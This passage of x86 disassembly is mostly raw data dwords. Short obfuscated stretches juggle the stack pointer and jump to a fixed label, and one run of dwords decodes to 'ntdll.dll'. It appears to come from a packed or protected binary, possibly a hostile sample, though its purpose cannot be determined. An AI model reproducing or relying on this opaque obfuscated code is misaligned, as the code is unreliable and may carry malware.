		dd 9D55D7CEh, 7D9F4741h, 7A563703h, 6E2873A9h, 269E3BE2h
		dd 408C19F8h, 7, 15162h, 78F10000h, 0E03C3EDCh,	0AB3943D4h
		dd 1087924Fh, 0B0800B86h, 0C9637B5h, 0A708430h,	0DC62FB6Bh
		dd 6AF7D1BFh, 6014399Dh, 5B2A069Ch, 2872D50Dh, 42D4A44Bh
		dd 34088A9Ah, 0EF7F42AEh, 5AAAD267h, 712ABD48h,	6986A72Fh
		dd 4C021581h, 770DD1ABh, 69C41DE1h, 14D07993h, 6AF47903h
		dd 0EC30B2E2h, 9CBE1AD6h, 0FB9214E2h, 0E788499Dh, 9703EF1Fh
		dd 0B93DFB85h, 0DA70B455h, 0B4460E98h, 80687ACAh, 635D1E54h
		dd 8384B0D4h, 10Eh, 32A5B327h, 0AE0978BCh, 0B2305CC5h
		dd 91009A2Ch, 305CC511h, 0FA829703h, 730A982Ah,	3681C294h
		dd 0D6F43CA1h, 2F66EE78h, 0C4B8F8A9h, 4A58305Ch, 0F25A68B4h
		dd 0BCC61E58h, 5F025674h, 67183FA7h, 2136B67Fh,	8363F1F3h
		dd 4A9B2901h, 2E4CE0A0h, 0DC782A98h, 0FBB6403Ah, 305CC4BBh
		dd 4FE34F55h, 0C97D9531h, 62C25024h, 6ABAC456h,	5C6ECA58h
		dd 0F3B3EE78h, 1D305CC4h, 4D89CB1h, 6D00E87Eh, 0AAD267C6h
		dd 4BA485Ah, 0DC782763h, 0D4F74339h, 0B930D3DCh, 361Ah
		dd 0A4B3A800h, 978BD33h, 305CC589h, 78AB198Bh, 0AED066EEh
		dd 0AAD47A56h, 7EBA485Ah, 3EDC784Ch, 2CC0F43Ch,	0FF77984Eh
		dd 4AEB5D66h, 5B97FE83h, 3A5169h, 0B3F10000h, 3D9933A4h
		dd 2805C18h, 0EE789436h, 7B9FD366h, 11A73D01h, 0C9081CDh
		dd 0D41CB230h, 5CC57535h, 0A51BA930h, 0A64ACA78h, 421E4BD3h
		dd 99FC79Bh, 57FF775Bh,	4C7EBAC2h, 0FFFEE951h, 0A04AF1FFh
		dd 0A8420ED6h, 0E10C27CEh, 0CEADE476h, 0C437B5ABh, 439F06DEh
		dd 392873ACh, 2953E76Fh, 0DFFC9DC1h, 8C19F4E5h,	3B01h
		dd 0A0B3A100h, 0EDECA537h, 5F37B5AAh, 0C51963F7h, 158F73BFh
		dd 4B35DB83h, 0ED01E9FBh, 73AA9834h, 20BA4C28h,	0BBEE6CA4h
		dd 2873A9FBh, 3FA38F15h, 0FB837D9Eh, 0D3E38C19h, 0C7000000h
		dd 0ED6A04Ah, 71CDAF42h, 79C5B745h
		dd 0DCDCD56Fh, 34305CC4h, 416826Eh, 448CFB7Ah, 84305CC1h
		dd 0EA720476h, 0F1FC3446h, 0A4FDB547h, 8C958927h, 39CF5BCFh
		dd 0A3B511ABh, 0B37F05D9h, 0DAD7617Fh, 305CB3DAh, 4EEC683Ah
		dd 66D2D02Ch, 0AD3FA84Bh, 0B592E5F4h, 0DE574D37h, 6DFF688Bh
		dd 0C7BBE534h, 0DED3CD2Fh, 2087BADEh, 4CDE6C36h, 4060CDB1h
		dd 816917E9h, 0E29ABF27h, 863AD353h, 2E028B39h,	87077A0Ch
		dd 892086D9h, 56FBDF1Bh, 0D688B26h, 0D8143C34h,	225E7h
		dd 0CAAA4100h, 1765892Bh, 621C329Eh, 0B33161D3h, 0F9839602h
		dd 5743E474h, 993BBAC2h, 0CF690488h, 73DD5028h,	71169FD9h
		dd 2B3C7C35h, 0A6D4286Dh, 0D5A74AC0h, 1C5EFC58h, 0A0B33191h
		dd 0EDECA537h, 0A537B5AAh, 627E27FFh, 62873AAh,	3E8653FAh
		dd 0B88C19FBh, 0CAh, 0B3EE780Ah, 305CC4F3h, 76C1A1E4h
		dd 157961A9h, 0E577A38Fh, 0A33D4B9Bh, 5C48AEEEh, 0F43C6630h
		dd 0F74F2DC0h, 5C45C60Eh, 8AF40630h, 0D1A349EBh, 1CBDB80Dh
		dd 20A282F8h, 3A89F892h, 237B524h, 24793968h, 99B2873h
		dd 0CE673D21h, 7D0F989Bh, 662451E0h, 0C28A4B98h, 0E6522Ch
		dd 0C7DCDB91h, 39D3D12Fh, 6AFC789Dh, 0D3334DE2h, 389419D1h
		dd 25CA6715h, 0A33C3509h, 1503C93h, 81AA0000h, 3ED27EF7h
		dd 0F107B13Ch, 5A4AE68Fh, 56FB55D8h, 18118F26h,	4EE795B8h
		dd 0BC31B3E2h, 0F07DFF10h, 29C4B644h, 67275A44h, 0A9286D2Bh
		dd 0ED782D93h, 414A701h, 0FEDA1652h, 7A02175Bh,	0EB8A18AAh
		dd 47D1A349h, 2B07799Fh, 0A04A1CA6h, 749844D6h,	0DAF62A06h
		dd 0F4AF4630h, 255CEE79h, 37B5C2A2h, 0BBFBB6F0h, 552873C1h
		dd 5DA1D379h, 8923B147h, 0A04D2FCDh, 8B89AF46h,	3808DE9Ch
		dd 4436C4F0h, 0C4F1BB2h, 0D2324AEFh, 9C6445D0h,	0D8E63AF6h
		dd 409CDE7Ch, 4769A42h,	934EAA38h, 0C851780h, 3062EF9Dh
		dd 43620F95h, 113C3937h, 9CEADDh, 3DDE0000h, 0F206B243h
		dd 0A54BE588h, 0A6FE5ADBh, 0A2F8924h, 0CC6DC372h, 823349ECh
		dd 0F07DFF16h, 24C9B344h, 9D106288h, 0B3F3AEF8h, 5D286D29h
		dd 0A0B3792Fh, 430BA537h, 6766D252h, 384C451Ch,	4A54A8FAh
		dd 44C1C1B0h, 5153286Dh, 5A1F3D99h, 33D77CC2h, 0A64FDD2Eh
		dd 70A0E00Ah, 29012F2h,	6E1A4322h, 9BBD2F9Fh, 5A2436F2h
		dd 0A1D379DBh, 0A321715Dh, 8A522C43h, 9AB01466h, 0B27E04D8h
		dd 0D765AF4Eh, 8EAC08A5h, 0CE9610ECh, 0F78D512Bh, 8843Bh
		dd 52FA0000h, 5072BEB8h, 0A14AF654h, 0A9430FD7h, 0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	7EF8241h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 7Dh
		dd 189CEA1Ch, 0B85FF3A9h, 7EF9C55h, 0C650C503h,	0E9265985h
		dd 25684707h, 0FFCF3817h, 0E92669B5h, 0BC858D07h, 0FF07E93Ah
		dd 8DD88BD0h, 0E9034985h, 4685007h, 0FF000001h,	5985C6D3h
		dd 5307E926h, 7F8BF68h,	69B5FF83h, 8D07E926h, 0E93ABC85h
		dd 89D0FF07h, 0EF801585h, 0B5BD8307h, 7E92Eh, 0B840Fh
		dd 9D8B0000h, 7E909C5h,	5E9h, 0BB00h, 680000h, 8D000001h
		dd 0EF8019B5h, 0FF535607h, 0E930E195h, 19B58D07h, 307EF80h
		dd 1E9F0h, 804E0000h, 840F5C3Eh, 9, 0F2F3E80h, 0FFFFED85h
		dd 6C6FFh, 8019858Dh, 0FF5007EFh, 0EF801595h, 0E0FF5807h
		dd 731D80FEh, 442A7605h, 593F5A72h, 373AE6A9h, 1DC4E175h
		dd 1553067Eh, 0E8A16E5h, 0C7ED018h, 301F978h, 2E963998h
		dd 6D34C6C7h, 14E3B19Fh, 342652E4h, 586BB6D3h, 7D8E2DFFh
		dd 3239AB7Dh, 5E3B9707h, 2F79B957h, 62D55E80h, 524EBB02h
		dd 76F91DE2h, 683D9A05h, 799E466Eh, 28BEF033h, 29789D6Fh
		dd 3C76E4C2h, 4BB9C3FCh, 7375C26Fh, 18A23315h, 4988570Fh
		dd 0CE8h, 0B4849F00h, 626CAF55h, 62A688B0h, 82AEBBB2h
		dd 0E9591BE1h, 11h, 0D2B84127h,	301120D9h, 23B1979Fh, 15B4C4F6h
		dd 8DC18186h, 8000005Dh, 0E9BA14C4h, 812D0BA5h,	0F4715CC2h
		dd 9524BED2h, 31FF2DE7h, 32C08166h, 81665FD5h, 81EF44EBh
		dd 63913DC7h, 1D20B87Eh, 0EF8128AEh, 8EFF020h, 55F781F8h
		dd 0F68B3CCh, 8F57F1B7h, 4E98301h, 0EA81D98Bh, 1, 0FFC4850Fh
		dd 8D8DFFFFh, 7EF9F27h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0D0C35242h, 12E9E38Eh, 0AF000000h, 47EA49F4h
		dd 0D22E8A13h, 86FAFC3Fh, 0B9852CB0h, 0D8D89ACh, 8007E932h
		dd 85C748D3h, 7E922E5h,	63ACh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 5AC35545h, 66BA178Fh, 0C7476F84h
		dd 0E922B185h, 7, 66B6BB00h, 0B5FF30A9h, 7E9170Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CDC35646h, 0B7B6BCB4h
		dd 8595FF2Fh, 6607E922h, 6ADE8Bh, 0C3195FFh, 0C08B07E9h
		dd 9C0D28EBh, 4DC6A985h, 337E1B96h, 9AB39DFFh, 0C5A0ABC8h
		dd 0F5D8BFEh, 325DF423h, 85D8EECAh, 3DF8319Dh, 0EBAFEA61h
		dd 0EE8A636h, 77000000h, 0D6F07F87h, 2C9CD08h, 0C18BA211h
		dd 419531C5h, 5B07E907h, 0AFD18166h, 64C38104h,	0BA000072h
		dd 440DBF2Fh, 1C7568h, 37BA6600h, 81665E2Bh, 8BF691C9h
		dd 0E881663Bh, 0F7810179h, 3B4457EAh, 81BADC80h, 337BCCC7h
		dd 0DD950927h, 8107E90Ch, 693825EFh, 0F5858964h, 8907E901h
		dd 0CD958B3Bh, 8307E907h, 958B04EBh, 7E93135h, 0E850F4Eh
		dd 8B000000h, 19E9CEh, 5BCD0000h, 59C4A1D4h, 5DB529A0h
		dd 0E907E92Ah, 0FFFFFFA7h, 30A108DAh, 0E95D8D8Fh, 57h
		dd 3443C647h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh,	6C642E6Ch
		dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Dh dup(0)
		dd 0E9000000h, 6A3h, 0EFA19F68h, 0DB6CE907h, 6F68FFF9h
		dd 0E907EFA2h, 0FFF9DB62h, 0EFA2F668h, 0DB58E907h, 0E468FFF9h
		dd 0E907EFA3h, 0FFF9DB4Eh, 0EFA4D768h, 0DB44E907h, 9F68FFF9h
		dd 0E907EFA5h, 0FFF9DB3Ah, 0A4492BC0h, 1F96E408h, 4CE19BBDh
		dd 8332B0E0h, 0F578FC11h, 43D6C267h, 918B439h, 0A94EEA8Bh
		dd 58F25ED7h, 0B4EE971Eh, 6D24BDFDh, 47255728h,	5C57EE78h
		dd 0B4403171h, 5EDFDFD2h, 7331305Ch, 360887h, 4A5A0000h
		dd 0DFDFD2A0h, 31305CC4h, 7ACAB245h, 0B244DA68h, 0EC79FB2Ah
		dd 0D70F5B0Eh, 0DD11D9C2h, 94195BF1h, 5C29D1EDh, 0F484AB30h
		dd 2A54FA62h, 2DF173A2h, 0EC565B97h, 0A537A0B3h, 0B5A569ECh
		dd 0AB7B2937h, 73A5DEFAh, 6A048228h, 73A67737h,	0B8BC5128h
		dd 6C365E64h, 0EA3AB8E8h, 4DEC10D8h, 19FF348Ch,	219B28Ch
		dd 3F100000h, 0B72732B8h, 67EFD466h, 19B2930h, 0B4F55D90h
		dd 0CF4F5537h, 254D8B36h, 28BFBAECh, 2D60E39Eh,	5A366B9Dh
		dd 0EBCBCDB4h, 43C83F4Eh, 72C71FADh, 47E874E7h,	0A6DBE935h
		dd 5C5B32E6h, 54E6742Eh, 0AF93245Dh, 0F228E63h,	7FC7B15Bh
		dd 750FD765h, 638955E7h, 1A309C11h, 0BD0BD158h,	0BB8BE80Fh
		dd 49D04h, 3646D500h, 83F91DBFh, 0CEB046F2h, 1F9DF527h
		dd 65173A96h, 0FBD750C8h, 2D8F2656h, 53FD70F4h,	8731BCBCh
		dd 56A0B75h, 23A8E899h,	5268286Dh, 0E0A04A6Ch, 87F5184Ch
		dd 59725BFh, 5CC50C8Ch,	89E0430h, 61F66134h, 9533DAD7h
		dd 416337B5h, 786E75ACh, 0A1D06AFDh, 2FCC6F2Eh,	47FE1E84h
		dd 992BB3CEh, 1191009Ah, 387ECB5h, 999449A1h, 48E27C0Eh
		dd 0B4C3C3BEh, 574D87ECh, 0ECB56222h, 0B4F7B287h, 4DBC9925h
		dd 6918D066h, 8F4510E6h, 5B2EF6ACh, 20BD4FD8h, 751A1DCh
		dd 0C3250DDFh, 577595CEh, 0F18B1987h, 225AFF67h, 0CDCDC4C2h
		dd 47781675h, 0B763CF5Dh, 8541DBA5h, 0AB390577h, 44D6424Fh
		dd 0C193BF3Ah, 93A38BA7h, 3CD3Ch, 66162500h, 0B3C96DCFh
		dd 0FE809602h, 4FCDC577h, 95E70AA6h, 0CBA78018h, 7DDF5626h
		dd 0A30DA024h, 0D741EC8Ch, 0D5BA3B45h, 22D8D8C9h, 238286Dh
		dd 0D6A04A5Ch, 2FB8BB0Eh, 0B15B039Dh, 218A36C7h, 4F66C59Fh
		dd 0F02BE2E3h, 990B37B4h, 41D64114h, 50DCFAB7h,	52503062h
		dd 29D32DB8h, 0F4B32666h, 822AA3Ch, 0C755C76Eh,	999469B5h
		dd 4E057C0Eh, 9E27DC0Bh, 815DDF36h, 594B3703h, 2337E4D0h
		dd 13449824h, 346h, 50DD9FBCh, 8B2A50E4h, 0F8750729h, 2FC6445Ch
		dd 610C688Dh, 0AF422E0Bh, 9DF420CDh, 153A961Fh,	0CC6ECA6Bh
		dd 405A03B2h, 6D235151h, 0DB89C328h, 0ED6A04Ah,	15F2E570h
		dd 62A8ABA7h, 8A81F18Ch, 3EFA88E1h, 0BC51F063h,	0C85E64B8h
		dd 43AC433Eh, 980A37B5h, 1D9A015h, 3FC20000h, 0B55804B3h
		dd 8D657FC7h, 38D245D0h, 46F4F3ADh, 846C68FEh, 6C7C6F22h
		dd 6F3A37B5h, 0BF30296Dh, 0B56B9027h, 9E129CACh, 0E3927A08h
		dd 0FD180307h, 700A9D98h, 8EF77601h, 14CF663Ah,	0EFFC192Ch
		dd 7C26CA26h, 0F28C26A0h, 4D4CFFBFh, 1E93112Bh,	2B4D4C9Eh
		dd 29C42C76h, 920F990Eh, 32A1ACD9h, 1056F9D5h, 1AEA78FAh
		dd 2E29CBEh, 0CA5CF280h, 0FC8EE802h, 2A54FA62h,	0D9D9C8DAh
		dd 3B2360ACh, 903C8169h, 4D71F87Ah, 753F1D96h, 258C6F9h
		dd 8DAE0000h, 42D642F3h, 0F51BB538h, 564EEA8Bh,	5AFF59D4h
		dd 1C1D9322h, 52E399BCh, 802DAFE6h, 0F4790314h,	2DC0B258h
		dd 63235E48h, 0AD286D22h, 0A04A299Fh, 0B8BB0ED6h, 56009D2Fh
		dd 82E85F67h, 39687EBAh, 37B539D2h, 1124A03Ah, 98099B6Bh
		dd 28733918h, 0A24EAAF8h, 2BB66D00h, 9B2DBAB5h,	865E1E33h
		dd 77376AFCh, 99287339h, 0C8B92F0Bh, 2FCC1315h,	6E07079Dh
		dd 0AEE82949h, 0BCFAA63Fh, 0AE3E2Fh, 6DFA7528h,	0FAB741DBh
		dd 91A88CBAh, 6A8C485Ah, 5E29D810h, 4E990182h, 710A9CB7h
		dd 17E3B6F1h, 27AF396Bh, 0BDBF5D15h, 65CDD72Fh,	6EF974C9h
		dd 0D8ACA5DCh, 9C069113h, 9EB8730Ah, 0C24D549Dh, 0D3AFCFCFh
		dd 0CD634181h, 31DB8365h, 0F929B547h, 0B432BF7Bh, 0B027671Ah
		dd 8DE981D3h, 0B6CC1094h, 4EECC820h, 9BA7852Ch,	0BFB79D68h
		dd 16508h, 0FE7E9D00h, 4B31C577h, 96E80EAAh, 0E765BD1Fh
		dd 2D4FE24Eh, 0A30F2880h, 0D547EE8Eh, 1BB538BCh, 4FE984F4h
		dd 3D22D3ADh, 21703061h, 6AA0286Dh, 0D6A04A34h,	0B7F7AA44h
		dd 59305CC4h, 0FEB3EF4Bh, 5F52E473h, 37B5A4E8h,	0AFC1534Eh
		dd 0DE3C4CD4h, 0B31DA548h, 0ECA537A0h, 384C24A8h, 91EB0C68h
		dd 17A1374Dh, 3CC0D17Dh, 7E2AC0F4h, 610CA2DCh, 0C4B45905h
		dd 6D24CDCDh, 0CF5D4728h, 11856D77h, 0D0A579FBh, 4938D245h
		dd 305C8573h, 9221ECB9h, 65F855F6h, 739945D7h, 2AC06C01h
		dd 50EAF448h, 7D536121h, 39F1B320h, 0CC5EC964h,	0D63A9AD5h
		dd 0D47AE227h, 8C485AAAh, 3B271369h, 4EAC069h, 7ACA2429h
		dd 9D45h, 3646D500h, 83F91DBFh,	0CEB046F2h, 1F9DF527h
		dd 65173A96h, 0FBD750C8h, 2D8F2656h, 53FD70F4h,	8731BCBCh
		dd 56A0B75h, 1FA8E899h,	5268286Dh, 37A0B36Ch, 0A9430BA5h
		dd 856D77CFh, 4C24F2C4h, 98643E38h, 0D15C1E3Ch,	11ABD567h
		dd 258A0A87h, 188A286Dh, 2493138Eh, 277D286Dh, 0E3EE97CBh
		dd 7A3C01C3h, 5FFD37D6h, 1624901Dh, 4938D264h, 0F4C0C349h
		dd 0DD11D9CBh, 0C323A1F1h, 0E50AD2ACh, 8A335F9Bh, 33C2BC5Eh
		dd 35096B81h, 0D82h, 0D254DC00h, 0C5494938h, 0D9CB305Ch
		dd 0A14AB311h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h
		dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h
		dd 3EDh, 56242489h, 4BEh, 24740100h, 89565E04h,	4C681E6h
		dd 83000000h, 348704EEh, 1C895C24h, 0E6895624h,	4C681h
		dd 0EE830000h, 24348704h, 243C895Ch, 7BBA5250h,	895AF805h
		dd 0F055AD0h, 89ACF79Bh, 8B5458C3h, 0C483243Ch,	8BA5204h
		dd 1000000h, 2C8153FAh,	900FFC24h, 81028F38h, 900FFC02h
		dd 34FF5A38h, 0C4835F24h, 241C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dd 0B8EE5ED0h, 7EFA661h, 0E0FFC503h, 44F51051h,	5642DA1h
		dd 472AE39Fh, 2EAA81Eh,	452C5784h, 76E84005h, 8307850h
		dd 8E8h, 96F7BB00h, 7C550BADh, 11E9F9h,	0CA00000h, 713D0826h
		dd 568FB3E0h, 5CFC498Eh, 5937BC43h, 0C181C38Ah,	61ECh
		dd 2BF0BF0Fh, 113C8BD2h, 7203F381h, 0C7816769h,	50574CB4h
		dd 0B164C781h, 0EF813259h, 641441A4h, 28F0F53h,	0B7000000h
		dd 8F575B50h, 0B8661104h, 0BE9F762h, 15000000h,	5F14ACF0h
		dd 39C21AF2h, 0EA83DCB2h, 0D3816604h, 0FA817F3Ch, 0FFFF9E9Ch
		dd 0FFAF850Fh, 0AE9FFFFh, 6C000000h, 0D47F8B70h, 76C34F55h
		dd 26E996h, 48C70000h, 1FCEh, 8	dup(0)
		dd 4BDE9h, 0A8DD6800h, 0E3E907EFh, 68FFF9D3h, 7EFA95Fh
		dd 0F9D3D9E9h, 0AAC268FFh, 0CFE907EFh, 0BFFFF9D3h, 0E751DC9Ch
		dd 28842953h, 5FF97406h, 8C28C547h, 0A621369h, 0CCA84D2Dh
		dd 1E9EF721h, 6A122597h, 0B1C369CBh, 524F5B3Ch,	286D1E52h
		dd 78DA88C2h, 36E36EDh,	0F43CE432h, 0D3792DC0h,	2AADFDA6h
		dd 92202A12h, 869420FCh, 61ED79F4h, 5553B331h, 5C155C5Ch
		dd 58EEB430h, 0C552DD90h, 0F2F77E33h, 59F37B4h,	0F36C4839h
		dd 0EC102872h, 0B2348C4Dh, 0E9B28C1Ah, 34000002h, 2EF684A8h
		dd 3F6E5C94h, 0AD3A35B9h, 9F73661Bh, 614337B5h,	38390CA5h
		dd 2DC8054Dh, 19543CBDh, 71D5B24Fh, 3D479FDDh, 0C1641DAFh
		dd 51326771h, 55A9D365h, 7B91F248h, 9C326F20h, 8617970Ah
		dd 0ABF92325h, 0B8E98315h, 232585F8h, 72AE8A18h, 912BBCBFh
		dd 7E4A88E0h, 0E07A282Ah, 9A4D664h, 46F38DAFh, 26C1FDC7h
		dd 0B665995h, 97000003h, 0DF79F484h, 0AC413Bh, 0B7E18CEEh
		dd 0E450DD5Fh, 128A2B51h, 0E490A515h, 36B6EF49h, 82FA1DBFh
		dd 0C9AB41F3h, 2A674324h, 286D1D6Ah, 0B33290AAh, 88EC01A0h
		dd 0ADE460FAh, 38CDD72Fh, 66CC075Bh, 0AE38F05Bh, 4BF787F3h
		dd 75AD0938h, 0FD761F7h, 9B1B96EAh, 75286CF7h, 0B814992Fh
		dd 661FE795h, 286CF849h, 0DCA5B71Fh, 2BE7FE36h,	8F57E51Ch
		dd 73993DF5h, 61D36801h, 7DF1340Eh, 2894Ah, 76061500h
		dd 0C3B95DFFh, 0E708632h, 5FDD3567h, 0A5D77AD6h, 3B979008h
		dd 6DCF6616h, 933DB034h, 0C771FC7Ch, 0C5AA4B35h, 1BE8A8D9h
		dd 1228286Dh, 37A0B3ACh, 16960BA5h, 36305CC5h, 6E345822h
		dd 0FA3648EEh, 678A52ECh, 7FBBC915h, 4C1CE28Eh,	2CF0B238h
		dd 59DBCA92h, 1CD4F091h, 8394286Dh, 87A925F9h, 0F64E2EC3h
		dd 0F8865EECh, 6D1D0989h, 0C2990B28h, 0B9E91BC2h, 113DA53Bh
		dd 8459AB68h, 71958C20h, 2D000001h, 44D6A04Ah, 3F077598h
		dd 73018393h, 0CD6F6B87h, 0CC6F02B3h, 9E37C15Bh, 0DB6B461h
		dd 34D51D12h, 37B4E055h, 0EDD22EC7h, 35E87B67h,	0F99311FDh
		dd 9372326Fh, 36A22873h, 0F88A5A24h, 0B3528E6Ah, 28739317h
		dd 7B9841CDh, 8C1A0E89h, 34E5h,	0A0B3FD00h, 0EDECA537h
		dd 0A537B5AAh, 225FD9C9h, 2873AA62h, 0CC62F0B2h, 0AA359170h
		dd 272B2873h, 0FB6B5586h, 35C08C19h, 0B83771E2h, 35E9A4Ch
		dd 94h,	29ED78A7h, 6470EC83h, 28C2F642h, 37DAF64Eh, 3FDDF945h
		dd 47D5E13Dh, 0C98DEF03h, 0FA8854D8h, 0BCBAC964h, 38305BC1h
		dd 9ACD6012h, 37E089Fh,	37AFEDEAh, 804CDEC4h, 0C1271391h
		dd 0E984F005h, 0AA0DE07Dh, 0FF24FB02h, 0A728733h, 0D323C6Fh
		dd 5B0CC034h, 126h, 9C116388h, 0D75E1C30h, 4A9D365h, 7BFA78A8h
		dd 0AD4034D9h, 7B9EFA3Fh, 0D1C06C01h, 0E176A253h, 90BA169Fh
		dd 7C264FE6h, 6D1B8505h, 0F7D8F28h, 4CE3A74Ah, 0A5179E2Ch
		dd 0FA48E597h, 0ED6A04Ah, 3CCEA842h, 30F87A90h,	0E87FFAADh
		dd 78A9235Eh, 9D0737B2h, 0CDAF430Bh, 0C9B34571h, 11D96F75h
		dd 0BB51FD97h, 935F65B9h, 0CB6A1227h, 737820BCh, 4032D828h
		dd 0DA731ADh, 73781494h, 0F3A6FC28h, 287377B3h,	0A321715Dh
		dd 5CF1250Dh, 9393C418h, 33000000h, 0A537A0B3h,	4C1C84ECh
		dd 4E960C38h, 0E78EE802h, 0A0D1A7B5h, 286D1CE0h, 1CD7D7CAh
		dd 6B39286Dh, 51EB792Bh, 0D31F9DF5h, 3668E69Fh,	6B8D208Bh
		dd 8AF406C2h, 0D1A349EBh, 0A8D9730Dh, 104B36E8h, 3ED27A28h
		dd 0D0C0F43Ch, 33C6F252h, 36D9F549h, 60E4FE46h,	3C53B331h
		dd 0A2B77118h, 0B5DB44DAh, 0BE48E214h, 4B36C3C3h, 22574D10h
		dd 104B3762h, 9C38F0B2h, 0B6F1FB7Eh, 95EAAAE7h,	782A104Bh
		dd 4A2648EDh, 7D9F39B4h, 38C2303h, 0D6000000h, 0A14AF654h
		dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh
		dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 815E55A9h, 4ECh
		dd 24148900h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 468241Ch, 89000060h,	0B8502414h, 0A5F79D3h, 0A05A1435h
		dd 0F7D8F758h, 7BD12DD0h, 0C3894B0Fh, 8124048Bh, 4C4h
		dd 4EC8100h, 89000000h,	4812424h, 424h,	0EC835A00h, 241C8904h
		dd 8B08428Fh, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 2434FF5Ch, 4C4835Bh,	0F9CF35E9h, 36B1E0FFh, 0DB81D5Ch
		dd 307EFACh, 0FEE0FFC5h, 7C315353h, 0D86B450Fh,	0D37C54F5h
		dd 1374D312h, 361F8EC1h, 3E5ABAA4h, 482BFA25h, 0DC45097Bh
		dd 9937EACDh, 613EAED4h, 6E49B905h, 0D72C36D2h,	9F7C6514h
		dd 341CBAC1h, 37233182h, 931A0962h, 0C85B17EDh,	2A1755DAh
		dd 2A2D8CBBh, 746AEF5Dh, 0CB017003h, 884F16DEh,	0FB69BC32h
		dd 3585D2Ah, 34084249h,	0B1F3356h, 9215565Eh, 33188FE8h
		dd 0D34B6F9Ch, 5C703321h, 8D34468Eh, 0EFAE1B8Dh, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 41BD89B2h, 8B07E92Ah, 0E91B5585h, 0D8D8907h,	6A07E932h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0AD3CC351h, 89C05149h, 0E9117DB5h, 99958907h
		dd 0C707E934h, 0E922E585h, 6EB007h, 0FE96000h, 48000000h
		dd 0D8B71C58h, 0CB026C4h, 713F3D56h, 0BF662CF2h, 0C76126F4h
		dd 0E922B185h, 7, 8E800h, 30890000h, 0DFE812A7h, 0BD8BF734h
		dd 7E91DD5h, 0D1B5FF58h, 6A07E912h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9F4EC357h
		dd 9B7CAFE5h, 0DAC0EE22h, 228595FFh, 6A07E9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 863F5CC3h
		dd 81503A63h, 84DE51F0h, 6A5F62h, 0C3195FFh, 0C08B07E9h
		dd 54E419EBh, 0BA5F4C6Eh, 4FE3BBAFh, 989116E1h,	229C34B6h
		dd 93060D19h, 8DD03369h, 0EFAF078Dh, 6880F07h, 8B000000h
		dd 0E92699B5h, 0D8D8907h, 6A07E932h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 1774C357h
		dd 0DD85011Fh, 0C707E900h, 0E922E585h, 639007h,	0DED38100h
		dd 0C719C5C9h, 0E922B185h, 7, 0CD858B00h, 8B07E922h, 0E913319Dh
		dd 0DB5FF07h, 6A07E917h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0F167C357h,	6D813BF4h
		dd 858B1223h, 7E91191h,	0F2816653h, 0FF5EA944h,	0E9228595h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0F75E8B01h, 76969EC3h, 0BA668FC3h, 6A3C72h
		dd 0C3195FFh, 0C08B07E9h, 0E52528EBh, 0BD5A1EBDh, 0D96520ADh
		dd 865D991h, 0CEEB4732h, 1C1EA7DCh, 846FBDDh, 123B4FDDh
		dd 19D31ED4h, 495425BCh, 2DE93C8Ah, 2D000000h, 7D2F04h
		dd 0Ah dup(0)
		dd 530E9h, 6A0A2100h, 0B7C569CBh, 27C923Eh, 53D1C173h
		dd 99E376A2h, 37A38414h, 79DB5A22h, 0AF09A428h,	0D37DF088h
		dd 0D1B63F39h, 15DCDCD5h, 634286Dh, 0D6A04AA0h,	0B7F7AA44h
		dd 59305CC4h, 136D834Bh, 2ACF8B27h, 55A9D364h, 9834B94Fh
		dd 0A23C0072h, 48E200Bh, 0FAFC89F3h, 0B81CD4BDh, 0BC56E092h
		dd 5C90C5C5h, 9D554F30h, 0ADE17541h, 0C1ABF68Bh, 1C633278h
		dd 0A824F88Eh, 0AE2AFA78h, 6328F476h, 0FF5E9C3Dh, 0DA70B455h
		dd 94BB1598h, 0E2423CD2h, 71A352E0h, 400C9EDEh,	2FADE450h
		dd 0B11D5199h, 0FBBEA60h, 6FFD93EDh, 0BD5C6097h, 8FA2E40Bh
		dd 0B7C569EDh, 2EC7556Fh, 970A6882h, 305C4C17h,	6011ABF9h
		dd 305C4C20h, 0C01CB2F0h, 5C4C8621h, 0AB34530h,	3158F7C9h
		dd 5B7784h, 4A530000h, 970ED6A0h, 305CC515h, 0A75FFE12h
